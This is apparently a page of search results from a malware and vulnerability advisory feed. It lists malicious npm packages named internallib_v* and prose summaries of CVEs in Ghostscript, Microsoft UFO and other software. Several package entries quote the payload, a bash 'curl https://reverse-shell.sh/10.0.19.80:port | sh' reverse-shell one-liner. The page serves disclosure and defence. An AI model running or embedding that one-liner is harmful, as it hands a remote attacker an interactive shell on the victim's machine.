42957 matches found
Malicious code in internallib_v86 (npm)
Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and...
Malicious code in internallib_v23 (npm)
Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, delivering an interactive reverse shell to the hardcoded endpoint...
Malicious code in internallib_v30 (npm)
Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and pipi...
MAL-2026-17632 Malicious code in internallib_v23 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, deliveri...
Malicious code in internallib_v23 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, deliveri...
Malicious code in internallib_v30 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...
MAL-2026-17633 Malicious code in internallib_v30 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...
MAL-2026-17634 Malicious code in internallib_v86 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...
Malicious code in internallib_v86 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...
Malicious code in internallib_v875 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...
MAL-2026-17635 Malicious code in internallib_v875 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...
PT-2026-106361
An unauthenticated remote attacker can modify Asset Administration Shell submodel data via PATCH requests and can read all data exposed by the GET endpoints...
PT-2026-107255
Five more CVE IDs are in. MITRE assigned CVE-2026-95248 and CVE-2026-95250 through CVE-2026-95253 to five findings we published in batch 11 — SCADA/HMI, graph analytics, document viewing and data-centre console management. All five were found, verified and disclosed by our AI-driven research...
PT-2026-106738
Name of the Vulnerable Software and Affected Versions Microsoft UFO versions prior to 3.0.10 Description In the ufo/client/mcp/http servers/mobile mcp server.py file, the type text and launch app tools fail to comprehensively validate the text and package name parameters provided by an...
PT-2026-106750
Name of the Vulnerable Software and Affected Versions Microsoft UFO versions prior to 3.0.9 Description The press key tool in ufo/client/mcp/http servers/mobile mcp server.py accepts a free-form key code parameter and passes it to adb shell input keyevent. The adb client joins the arguments into ...
CVE-2026-101258: Out-of-bounds Write
A flaw was found in Ghostscript. When Ghostscript renders a crafted PostScript or EPS document, it can bypass the -dSAFER sandbox and execute arbitrary shell commands in the context of the Ghostscript process. The issue chains memory corruption in document parsing with disabling of internal path...
PT-2026-107259
Five more CVE IDs are in. MITRE assigned CVE-2026-95248 and CVE-2026-95250 through CVE-2026-95253 to five findings we published in batch 11 — SCADA/HMI, graph analytics, document viewing and data-centre console management. All five were found, verified and disclosed by our AI-driven research...
PT-2026-106736
Name of the Vulnerable Software and Affected Versions Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator versions prior to 2.1 Description An OS command injection flaw exists in the shell-based temporary-file cleanup instructions. An attacker can execute arbitrary command...
Linux Distros Unpatched Vulnerability : CVE-2026-102828
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until...
CVE-2026-101258: Out-of-bounds Write
A flaw was found in Ghostscript. When Ghostscript renders a crafted PostScript or EPS document, it can bypass the -dSAFER sandbox and execute arbitrary shell commands in the context of the Ghostscript process. The issue chains memory corruption in document parsing with disabling of internal path...